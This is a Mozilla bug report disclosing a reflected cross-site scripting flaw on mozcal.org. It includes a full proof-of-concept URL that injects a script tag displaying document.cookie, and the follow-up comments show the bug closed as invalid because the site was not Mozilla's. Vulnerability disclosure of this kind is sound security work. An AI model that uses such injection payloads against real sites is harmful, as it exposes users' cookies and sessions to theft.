276988 - XSS vulnerability on mozcal.org

Status: RESOLVED INVALID

(mozilla.org :: Miscellaneous, task)

Description

[Michael Krax]

User-Agent:       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Build Identifier: 

http://www.mozcal.org/faq/index.php?
p=search&srcText=faq&submit=Go&cat_id=2&srcWhat="><script>alert(document.cookie)
</script>

Tested with Internet Explorer 6 using WinXP SP2




Reproducible: Always

Comment 1

[Dave Miller [:justdave]]

For the record, this site is neither owned nor operated by the Mozilla
Foundation...  There's no information on the site to indicate who does own it,
though, and the whois information is using one of those ID protection services.
 Hopefully someone on the Calendar team is familiar with it and will know who to
contact though.

Comment 2

[Mostafa Hosseini]

I've contacted the contributor who provides mozcal.org and meanwhile I have
disabled the link to it.

Comment 3

[Daniel Veditz [:dveditz]]

->invalid
wasn't our site, and appears entirely down now